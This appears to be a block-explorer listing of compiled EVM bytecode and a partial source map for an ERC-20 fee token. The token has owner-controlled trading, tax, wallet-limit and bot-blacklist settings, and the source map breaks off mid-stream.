1169087160361137e5760019150611383565b600091505b9590945092505050565b3060009081526009602052604081205482908490600083821180156113b157508383115b60185490915060ff161580156113c45750885b80156113d05750600188115b80156113d95750805b80156113ee5750601054600160a01b900460ff165b9998505050505050505050565b6018805460ff1916600117905530600090815260096020526040812054905060006114318361142c84600854611722565b611722565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061146b5761146b611c2e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e89190611c73565b816001815181106114fb576114fb611c2e565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac94790611541908590600090869030904290600401611ce4565b600060405180830381600087803b15801561155b57600080fd5b505af115801561156f573d6000803e3d6000fd5b5050600e546040514793506001600160a01b03909116915082156108fc029083906000818181858888f193505050501580156115af573d6000803e3d6000fd5b50506018805460ff1916905550505050565b60008060006115d1858588611737565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526009909152919091205492945090925061162a91908490610dfa565b6001600160a01b03808a16600090815260096020526040808220939093559089168152205461165990826116c3565b6001600160a01b0380891660008181526009602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ad908a815260200190565b60405180910390a3506001979650505050505050565b6000806116d08385611cd1565b9050838110156107b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107e2565b600081831161173157826107b1565b50919050565b60008060008461176857601054600160a81b900460ff16611758578361176a565b6117638686866117a9565b61176a565b835b601054909150600090600160a81b900460ff1680156117865750855b611790578461179b565b61179b8787876117a9565b919791965090945050505050565b600080606484156118075760018611156117db57601654601754116117d0576012546117d4565b6014545b915061180c565b85156117fe57601554601754116117f4576011546117d4565b601354915061180c565b6000915061180c565b600191505b60006118228261181c878661187c565b906118fe565b3060009081526009602052604090205490915061183f90826116c3565b30600090815260096020526040902055856118635761185e85846118fe565b611865565b805b90506118718582611940565b979650505050505050565b60008260000361188e575060006106f0565b600061189a8385611d55565b9050826118a78583611d6c565b146107b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107e2565b60006107b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611982565b60006107b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dfa565b600081836119a35760405162461bcd60e51b81526004016107e291906119b0565b506000610e2b8486611d6c565b600060208083528351808285015260005b818110156119dd578581018301518582016040015282016119c1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461088f57600080fd5b8035611a1e816119fe565b919050565b60008060408385031215611a3657600080fd5b8235611a41816119fe565b946020939093013593505050565b600080600060608486031215611a6457600080fd5b8335611a6f816119fe565b92506020840135611a7f816119fe565b929592945050506040919091013590565b600060208284031215611aa257600080fd5b5035919050565b600060208284031215611abb57600080fd5b81356107b1816119fe565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611aef57600080fd5b823567ffffffffffffffff80821115611b0757600080fd5b818501915085601f830112611b1b57600080fd5b813581811115611b2d57611b2d611ac6565b8060051b604051601f19603f83011681018181108582111715611b5257611b52611ac6565b604052918252848201925083810185019188831115611b7057600080fd5b938501935b82851015611b9557611b8685611a13565b84529385019392850192611b75565b98975050505050505050565b60008060408385031215611bb457600080fd5b8235611bbf816119fe565b91506020830135611bcf816119fe565b809150509250929050565b600181811c90821680611bee57607f821691505b60208210810361173157634e487b7160e01b600052602260045260246000fd5b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6c57611c6c611c44565b5060010190565b600060208284031215611c8557600080fd5b81516107b1816119fe565b600080600060608486031215611ca557600080fd5b8351925060208401519150604084015190509250925092565b818103818111156106f0576106f0611c44565b808201808211156106f0576106f0611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d345784516001600160a01b031683529383019391830191600101611d0f565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176106f0576106f0611c44565b600082611d8957634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122091b67a32aed2f801e831f3c9fb1de18ff841467e0c1fb37633f5682d2e8ebf9364736f6c634300081300330000000000000000000000004c8fdde8fb2f215fb46113355954a443d22025740000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101dc5760003560e01c80636c0a24eb11610102578063a8aa1b3111610095578063dd62ed3e11610064578063dd62ed3e14610543578063eafebe5514610589578063f3de4f871461059e578063f887ea40146105d757600080fd5b8063a8aa1b31146104c2578063a9059cbb146104e2578063cce0f45d14610502578063d6d5a46d1461052357600080fd5b8063715018a6116100d1578063715018a614610465578063893d20e81461047a5780638e7e56ef1461049857806395d89b41146104ad57600080fd5b80636c0a24eb146103d85780636ce42475146103ee5780636ddd17131461040e57806370a082311461042f57600080fd5b80632f54bf6e1161017a5780633eaaf86b116101495780633eaaf86b14610378578063400901a41461038e5780634ae660df146103a3578063511267f3146103b857600080fd5b80632f54bf6e146102df578063313ce5671461030e57806332d31e441461032a5780633c1bf4661461034057600080fd5b80630faee56f116101b65780630faee56f1461026457806318160ddd1461028857806323b872dd1461029d5780632c743eac146102bd57600080fd5b806306fdde03146101e857806308fd3d0514610213578063095ea7b31461024457600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd6105f7565b60405161020a91906119b0565b60405180910390f35b34801561021f57600080fd5b5060105461023490600160b01b900460ff1681565b604051901515815260200161020a565b34801561025057600080fd5b5061023461025f366004611a23565b610689565b34801561027057600080fd5b5061027a60085481565b60405190815260200161020a565b34801561029457600080fd5b5060055461027a565b3480156102a957600080fd5b506102346102b8366004611a4f565b6106f6565b3480156102c957600080fd5b506102dd6102d8366004611a90565b6107b8565b005b3480156102eb57600080fd5b506102346102fa366004611aa9565b6000546001600160a01b0391821691161490565b34801561031a57600080fd5b506040516012815260200161020a565b34801561033657600080fd5b5061027a60075481565b34801561034c57600080fd5b50600e54610360906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561038457600080fd5b5061027a60055481565b34801561039a57600080fd5b506102dd6107f0565b3480156103af57600080fd5b50610234610892565b3480156103c457600080fd5b506102dd6103d3366004611adc565b6108c9565b3480156103e457600080fd5b5061027a60065481565b3480156103fa57600080fd5b506102dd610409366004611a90565b61095f565b34801561041a57600080fd5b5060105461023490600160a01b900460ff1681565b34801561043b57600080fd5b5061027a61044a366004611aa9565b6001600160a01b031660009081526009602052604090205490565b34801561047157600080fd5b506102dd61098e565b34801561048657600080fd5b506000546001600160a01b0316610360565b3480156104a457600080fd5b506102dd6109fd565b3480156104b957600080fd5b506101fd610a9a565b3480156104ce57600080fd5b50600f54610360906001600160a01b031681565b3480156104ee57600080fd5b506102346104fd366004611a23565b610aa9565b34801561050e57600080fd5b5060105461023490600160a81b900460ff1681565b34801561052f57600080fd5b506102dd61053e366004611adc565b610ab6565b34801561054f57600080fd5b5061027a61055e366004611ba1565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b34801561059557600080fd5b506102dd610b48565b3480156105aa57600080fd5b506102346105b9366004611aa9565b6001600160a01b03166000908152600d602052604090205460ff1690565b3480156105e357600080fd5b50601054610360906001600160a01b031681565b60606003805461060690611bda565b80601f016020809104026020016040519081016040528092919081815260200182805461063290611bda565b801561067f5780601f106106545761010080835404028352916020019161067f565b820191906000526020600020905b81548152906001019060200180831161066257829003601f168201915b5050505050905090565b336000818152600a602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106e49086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600a60209081526040808320338452909152812054600019146107a3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600a8252838120338252909152919091205461077e918490610dfa565b6001600160a01b0385166000908152600a602090815260408083203384529091529020555b6107ae848484610e34565b90505b9392505050565b6000546001600160a01b031633146107eb5760405162461bcd60e51b81526004016107e290611c0e565b60405180910390fd5b601355565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016107e290611c0e565b600047116108635760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016107e2565b60405133904780156108fc02916000818181858888f1935050505015801561088f573d6000803e3d6000fd5b50565b600080546001600160a01b031633146108bd5760405162461bcd60e51b81526004016107e290611c0e565b50600554600655600190565b6000546001600160a01b031633146108f35760405162461bcd60e51b81526004016107e290611c0e565b60005b815181101561095b576001600d600084848151811061091757610917611c2e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095381611c5a565b9150506108f6565b5050565b6000546001600160a01b031633146109895760405162461bcd60e51b81526004016107e290611c0e565b601455565b6000546001600160a01b031633146109b85760405162461bcd60e51b81526004016107e290611c0e565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610a275760405162461bcd60e51b81526004016107e290611c0e565b601054600160b01b900460ff1615610a815760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016107e2565b6010805462ffffff60a01b19166201010160a01b179055565b60606004805461060690611bda565b60006107b1338484610e34565b6000546001600160a01b03163314610ae05760405162461bcd60e51b81526004016107e290611c0e565b60005b815181101561095b576000600d6000848481518110610b0457610b04611c2e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b4081611c5a565b915050610ae3565b6000546001600160a01b03163314610b725760405162461bcd60e51b81526004016107e290611c0e565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610bd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfa9190611c73565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c809190611c73565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf19190611c73565b600f80546001600160a01b0319166001600160a01b039283169081179091556000908152600c60209081526040808320805460ff1916600117905530808452600a83528184206010805487168652908452828520600019905554818552600990935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610dd0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df59190611c90565b505050565b60008184841115610e1e5760405162461bcd60e51b81526004016107e291906119b0565b506000610e2b8486611cbe565b95945050505050565b60006001600160a01b038416610e9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e2565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e2565b60008211610f5e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e2565b6001600160a01b0384166000908152600d6020526040812054819060ff16158015610fa257506001600160a01b0385166000908152600d602052604090205460ff16155b610fab57600080fd5b60185460ff1615610fca57610fc1868686611183565b925050506107b1565b6001600160a01b0386166000908152600b602052604090205460ff1615801561100c57506001600160a01b0385166000908152600b602052604090205460ff16155b1561106157601054600160b01b900460ff166110615760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b60448201526064016107e2565b601054600160a01b900460ff1661107d57610fc1868686611183565b6110878686611269565b1561113b576001600160a01b0385166000908152600c602052604090205460ff16806110d857506006546001600160a01b0386166000908152600960205260409020546110d5908690611cd1565b11155b6111325760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b60648201526084016107e2565b61113b866112e6565b6111458686611314565b809250819350505061115b82828660075461138d565b1561116957611169846113fb565b61117686868684866115c1565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526009909152918220546111d4918490610dfa565b6001600160a01b03808616600090815260096020526040808220939093559085168152205461120390836116c3565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112579086815260200190565b60405180910390a35060019392505050565b600f546000906001600160a01b0383811691161480159061129857506002546001600160a01b03838116911614155b80156112bd57506001600160a01b0383166000908152600b602052604090205460ff16155b80156107b15750506001600160a01b03166000908152600b602052604090205460ff1615919050565b600f546001600160a01b039081169082160361088f576017805490600061130c83611c5a565b919050555050565b60008060008061133d866001600160a01b03166000908152600b602052604090205460ff161590565b600f549091506001600160a01b039081169086160361135f5760029150611383565b600f546001600160a01b039081169087160361137e5760019150611383565b600091505b9590945092505050565b3060009081526009602052604081205482908490600083821180156113b157508383115b60185490915060ff161580156113c45750885b80156113d05750600188115b80156113d95750805b80156113ee5750601054600160a01b900460ff165b9998505050505050505050565b6018805460ff1916600117905530600090815260096020526040812054905060006114318361142c84600854611722565b611722565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061146b5761146b611c2e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e89190611c73565b816001815181106114fb576114fb611c2e565b6001600160a01b03928316602091820292909201015260105460405163791ac94760e01b815291169063791ac94790611541908590600090869030904290600401611ce4565b600060405180830381600087803b15801561155b57600080fd5b505af115801561156f573d6000803e3d6000fd5b5050600e546040514793506001600160a01b03909116915082156108fc029083906000818181858888f193505050501580156115af573d6000803e3d6000fd5b50506018805460ff1916905550505050565b60008060006115d1858588611737565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526009909152919091205492945090925061162a91908490610dfa565b6001600160a01b03808a16600090815260096020526040808220939093559089168152205461165990826116c3565b6001600160a01b0380891660008181526009602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ad908a815260200190565b60405180910390a3506001979650505050505050565b6000806116d08385611cd1565b9050838110156107b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107e2565b600081831161173157826107b1565b50919050565b60008060008461176857601054600160a81b900460ff16611758578361176a565b6117638686866117a9565b61176a565b835b601054909150600090600160a81b900460ff1680156117865750855b611790578461179b565b61179b8787876117a9565b919791965090945050505050565b600080606484156118075760018611156117db57601654601754116117d0576012546117d4565b6014545b915061180c565b85156117fe57601554601754116117f4576011546117d4565b601354915061180c565b6000915061180c565b600191505b60006118228261181c878661187c565b906118fe565b3060009081526009602052604090205490915061183f90826116c3565b30600090815260096020526040902055856118635761185e85846118fe565b611865565b805b90506118718582611940565b979650505050505050565b60008260000361188e575060006106f0565b600061189a8385611d55565b9050826118a78583611d6c565b146107b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107e2565b60006107b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611982565b60006107b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dfa565b600081836119a35760405162461bcd60e51b81526004016107e291906119b0565b506000610e2b8486611d6c565b600060208083528351808285015260005b818110156119dd578581018301518582016040015282016119c1565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461088f57600080fd5b8035611a1e816119fe565b919050565b60008060408385031215611a3657600080fd5b8235611a41816119fe565b946020939093013593505050565b600080600060608486031215611a6457600080fd5b8335611a6f816119fe565b92506020840135611a7f816119fe565b929592945050506040919091013590565b600060208284031215611aa257600080fd5b5035919050565b600060208284031215611abb57600080fd5b81356107b1816119fe565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611aef57600080fd5b823567ffffffffffffffff80821115611b0757600080fd5b818501915085601f830112611b1b57600080fd5b813581811115611b2d57611b2d611ac6565b8060051b604051601f19603f83011681018181108582111715611b5257611b52611ac6565b604052918252848201925083810185019188831115611b7057600080fd5b938501935b82851015611b9557611b8685611a13565b84529385019392850192611b75565b98975050505050505050565b60008060408385031215611bb457600080fd5b8235611bbf816119fe565b91506020830135611bcf816119fe565b809150509250929050565b600181811c90821680611bee57607f821691505b60208210810361173157634e487b7160e01b600052602260045260246000fd5b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c6c57611c6c611c44565b5060010190565b600060208284031215611c8557600080fd5b81516107b1816119fe565b600080600060608486031215611ca557600080fd5b8351925060208401519150604084015190509250925092565b818103818111156106f0576106f0611c44565b808201808211156106f0576106f0611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d345784516001600160a01b031683529383019391830191600101611d0f565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176106f0576106f0611c44565b600082611d8957634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122091b67a32aed2f801e831f3c9fb1de18ff841467e0c1fb37633f5682d2e8ebf9364736f6c63430008130033

Deployed Bytecode Sourcemap

4784:9567:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10588:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5711:31;;;;;;;;;;-1:-1:-1;5711:31:0;;;;-1:-1:-1;;;5711:31:0;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;5711:31:0;567:187:1;7247:192:0;;;;;;;;;;-1:-1:-1;7247:192:0;;;;;:::i;:::-;;:::i;5258:54::-;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5258:54:0;1354:177:1;10763:90:0;;;;;;;;;;-1:-1:-1;10837:12:0;;10763:90;;13634:350;;;;;;;;;;-1:-1:-1;13634:350:0;;;;;:::i;:::-;;:::i;11418:89::-;;;;;;;;;;-1:-1:-1;11418:89:0;;;;;:::i;:::-;;:::i;:::-;;2116:91;;;;;;;;;;-1:-1:-1;2116:91:0;;;;;:::i;:::-;2171:4;2198:5;-1:-1:-1;;;;;2187:16:0;;;2198:5;;2187:16;;2116:91;7999:82;;;;;;;;;;-1:-1:-1;7999:82:0;;5059:2;2576:36:1;;2564:2;2549:18;7999:82:0;2434:184:1;5191:64:0;;;;;;;;;;;;;;;;5546:28;;;;;;;;;;-1:-1:-1;5546:28:0;;;;-1:-1:-1;;;;;5546:28:0;;;;;;-1:-1:-1;;;;;2787:32:1;;;2769:51;;2757:2;2742:18;5546:28:0;2623:203:1;5066:59:0;;;;;;;;;;;;;;;;7070:173;;;;;;;;;;;;;:::i;8596:115::-;;;;;;;;;;;;;:::i;12099:147::-;;;;;;;;;;-1:-1:-1;12099:147:0;;;;;:::i;:::-;;:::i;5128:60::-;;;;;;;;;;;;;;;;11511:91;;;;;;;;;;-1:-1:-1;11511:91:0;;;;;:::i;:::-;;:::i;5638:31::-;;;;;;;;;;-1:-1:-1;5638:31:0;;;;-1:-1:-1;;;5638:31:0;;;;;;6650:107;;;;;;;;;;-1:-1:-1;6650:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;6735:18:0;6716:7;6735:18;;;:9;:18;;;;;;;6650:107;2211:111;;;;;;;;;;;;;:::i;6566:80::-;;;;;;;;;;-1:-1:-1;6618:7:0;6637:5;-1:-1:-1;;;;;6637:5:0;6566:80;;7443:170;;;;;;;;;;;;;:::i;11331:83::-;;;;;;;;;;;;;:::i;5577:19::-;;;;;;;;;;-1:-1:-1;5577:19:0;;;;-1:-1:-1;;;;;5577:19:0;;;13986:158;;;;;;;;;;-1:-1:-1;13986:158:0;;;;;:::i;:::-;;:::i;5672:36::-;;;;;;;;;;-1:-1:-1;5672:36:0;;;;-1:-1:-1;;;5672:36:0;;;;;;12250:151;;;;;;;;;;-1:-1:-1;12250:151:0;;;;;:::i;:::-;;:::i;10008:140::-;;;;;;;;;;-1:-1:-1;10008:140:0;;;;;:::i;:::-;-1:-1:-1;;;;;10116:19:0;;;10096:7;10116:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10008:140;10152:432;;;;;;;;;;;;;:::i;12405:79::-;;;;;;;;;;-1:-1:-1;12405:79:0;;;;;:::i;:::-;-1:-1:-1;;;;;12470:10:0;12455:4;12470:10;;;:7;:10;;;;;;;;;12405:79;5601:32;;;;;;;;;;-1:-1:-1;5601:32:0;;;;-1:-1:-1;;;;;5601:32:0;;;10588:79;10633:13;10658:5;10651:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10588:79;:::o;7247:192::-;7347:10;7325:4;7335:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7335:32:0;;;;;;;;;;:41;;;7384:37;7325:4;;7335:32;;7384:37;;;;7370:6;1500:25:1;;1488:2;1473:18;;1354:177;7384:37:0;;;;;;;;-1:-1:-1;7431:4:0;7247:192;;;;;:::o;13634:350::-;-1:-1:-1;;;;;13753:19:0;;13740:4;13753:19;;;:11;:19;;;;;;;;13773:10;13753:31;;;;;;;;-1:-1:-1;;13753:52:0;13749:170;;13844:71;;;;;;;;;;;-1:-1:-1;;;13844:71:0;;;;;;;;-1:-1:-1;;;;;13844:19:0;;-1:-1:-1;13844:19:0;;;:11;:19;;;;;13864:10;13844:31;;;;;;;;;;:71;;13882:6;;13844:37;:71::i;:::-;-1:-1:-1;;;;;13810:19:0;;;;;;:11;:19;;;;;;;;13830:10;13810:31;;;;;;;:105;13749:170;13930:50;13954:6;13962:9;13973:6;13930:23;:50::i;:::-;13923:57;;13634:350;;;;;;:::o;11418:89::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;;;;;;;;;11483:12:::1;:20:::0;11418:89::o;7070:173::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;7157:1:::1;7133:21;:25;7125:60;;;::::0;-1:-1:-1;;;7125:60:0;;5637:2:1;7125:60:0::1;::::0;::::1;5619:21:1::0;5676:2;5656:18;;;5649:30;-1:-1:-1;;;5695:18:1;;;5688:52;5757:18;;7125:60:0::1;5435:346:1::0;7125:60:0::1;7188:51;::::0;7196:10:::1;::::0;7217:21:::1;7188:51:::0;::::1;;;::::0;::::1;::::0;;;7217:21;7196:10;7188:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7070:173::o:0;8596:115::-;8653:4;2198:5;;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;-1:-1:-1;8681:12:0::1;::::0;8662:16:::1;:31:::0;8703:4:::1;8596:115:::0;:::o;12099:147::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;12171:6:::1;12166:77;12187:8;:15;12183:1;:19;12166:77;;;12235:4;12212:7;:20;12220:8;12229:1;12220:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12212:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12212:20:0;:27;;-1:-1:-1;;12212:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12204:3;::::1;::::0;::::1;:::i;:::-;;;;12166:77;;;;12099:147:::0;:::o;11511:91::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;11577:13:::1;:21:::0;11511:91::o;2211:111::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;2276:1:::1;2260:18:::0;;-1:-1:-1;;;;;;2260:18:0::1;::::0;;2286:32:::1;::::0;2769:51:1;;;2286:32:0::1;::::0;2757:2:1;2742:18;2286:32:0::1;;;;;;;2211:111::o:0;7443:170::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;7501:11:::1;::::0;-1:-1:-1;;;7501:11:0;::::1;;;7500:12;7492:47;;;::::0;-1:-1:-1;;;7492:47:0;;6392:2:1;7492:47:0::1;::::0;::::1;6374:21:1::0;6431:2;6411:18;;;6404:30;6470:25;6450:18;;;6443:53;6513:18;;7492:47:0::1;6190:347:1::0;7492:47:0::1;7544:11;:18:::0;;-1:-1:-1;;;;7591:18:0;-1:-1:-1;;;7591:18:0;;;7443:170::o;11331:83::-;11378:13;11403:7;11396:14;;;;;:::i;13986:158::-;14069:4;14086:54;14110:10;14122:9;14133:6;14086:23;:54::i;12250:151::-;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;12323:6:::1;12318:80;12339:9;:16;12335:1;:20;12318:80;;;12389:5;12365:7;:21;12373:9;12383:1;12373:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12365:21:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12365:21:0;:29;;-1:-1:-1;;12365:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12357:3;::::1;::::0;::::1;:::i;:::-;;;;12318:80;;10152:432:::0;2171:4;2198:5;-1:-1:-1;;;;;2198:5:0;2082:10;2187:16;2066:38;;;;-1:-1:-1;;;2066:38:0;;;;;;;:::i;:::-;10203:6:::1;:71:::0;;-1:-1:-1;;;;;;10203:71:0::1;10231:42;10203:71:::0;;::::1;::::0;;;10302:16:::1;::::0;;-1:-1:-1;;;10302:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10231:42;10302:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10284:46:0::1;;10339:4;10346:6;;;;;;;;;-1:-1:-1::0;;;;;10346:6:0::1;-1:-1:-1::0;;;;;10346:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10284:76;::::0;-1:-1:-1;;;;;;10284:76:0::1;::::0;;;;;;-1:-1:-1;;;;;7028:15:1;;;10284:76:0::1;::::0;::::1;7010:34:1::0;7080:15;;7060:18;;;7053:43;6945:18;;10284:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10277:4;:83:::0;;-1:-1:-1;;;;;;10277:83:0::1;-1:-1:-1::0;;;;;10277:83:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10363:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;10363:28:0::1;-1:-1:-1::0;10363:28:0::1;::::0;;10416:4:::1;10396:26:::0;;;:11:::1;:26:::0;;;;;10431:6:::1;::::0;;;::::1;10396:43:::0;;;;;;;;-1:-1:-1;;10396:63:0;;10462:6;6735:18;;;:9;:18;;;;;;10462:6;::::1;::::0;:22:::1;::::0;10492:21:::1;::::0;10554:1:::1;10558:5:::0;;10462:118:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10462:118:0;;;-1:-1:-1;;;;;7466:15:1;;;10462:118:0::1;::::0;::::1;7448:34:1::0;7498:18;;;7491:34;;;;7541:18;;;7534:34;;;7584:18;;;7577:34;;;;10558:5:0;;;::::1;7627:19:1::0;;;7620:44;10564:15:0::1;7680:19:1::0;;;7673:35;7382:19;;10462:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10152:432::o:0;367:168::-;459:7;487:12;479:6;;;;471:29;;;;-1:-1:-1;;;471:29:0;;;;;;;;:::i;:::-;-1:-1:-1;503:9:0;515: